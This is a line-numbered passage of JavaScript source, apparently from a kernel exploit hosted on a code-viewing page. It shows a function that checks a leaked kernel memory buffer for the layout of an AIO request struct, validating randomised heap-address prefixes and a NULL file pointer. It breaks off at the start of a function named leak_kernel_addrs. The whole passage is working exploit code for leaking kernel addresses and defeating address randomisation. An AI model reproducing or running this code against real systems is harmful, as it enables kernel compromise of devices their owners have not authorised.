(buf, offset)
| 790 | } |
| 791 | |
| 792 | function verify_reqs2(buf, offset) { |
| 793 | // reqs2.ar2_cmd |
| 794 | if (buf.read32(offset) !== AIO_CMD_WRITE) { |
| 795 | return false; |
| 796 | } |
| 797 | |
| 798 | // heap addresses are prefixed with 0xffff_xxxx |
| 799 | // xxxx is randomized on boot |
| 800 | // |
| 801 | // heap_prefixes is a array of randomized prefix bits from a group of heap |
| 802 | // address candidates. if the candidates truly are from the heap, they must |
| 803 | // share a common prefix |
| 804 | const heap_prefixes = []; |
| 805 | |
| 806 | // check if offsets 0x10 to 0x20 look like a kernel heap address |
| 807 | for (let i = 0x10; i <= 0x20; i += 8) { |
| 808 | if (buf.read16(offset + i + 6) !== 0xffff) { |
| 809 | return false; |
| 810 | } |
| 811 | heap_prefixes.push(buf.read16(offset + i + 4)); |
| 812 | } |
| 813 | |
| 814 | // check reqs2.ar2_result.state |
| 815 | // state is actually a 32-bit value but the allocated memory was |
| 816 | // initialized with zeros. all padding bytes must be 0 then |
| 817 | const state = buf.read32(offset + 0x38); |
| 818 | if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) { |
| 819 | return false; |
| 820 | } |
| 821 | |
| 822 | // reqs2.ar2_file must be NULL since we passed a bad file descriptor to |
| 823 | // aio_submit_cmd() |
| 824 | if (!buf.read64(offset + 0x40).eq(0)) { |
| 825 | return false; |
| 826 | } |
| 827 | |
| 828 | // check if offsets 0x48 to 0x50 look like a kernel address |
| 829 | for (let i = 0x48; i <= 0x50; i += 8) { |
| 830 | if (buf.read16(offset + i + 6) === 0xffff) { |
| 831 | // don't push kernel ELF addresses |
| 832 | if (buf.read16(offset + i + 4) !== 0xffff) { |
| 833 | heap_prefixes.push(buf.read16(offset + i + 4)); |
| 834 | } |
| 835 | // offset 0x48 can be NULL |
| 836 | } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) { |
| 837 | return false; |
| 838 | } |
| 839 | } |
| 840 | |
| 841 | return heap_prefixes.every((e, i, a) => e === a[0]); |
| 842 | } |
| 843 | |
| 844 | function leak_kernel_addrs(sd_pair) { |
| 845 | close(sd_pair[1]); |
no test coverage detected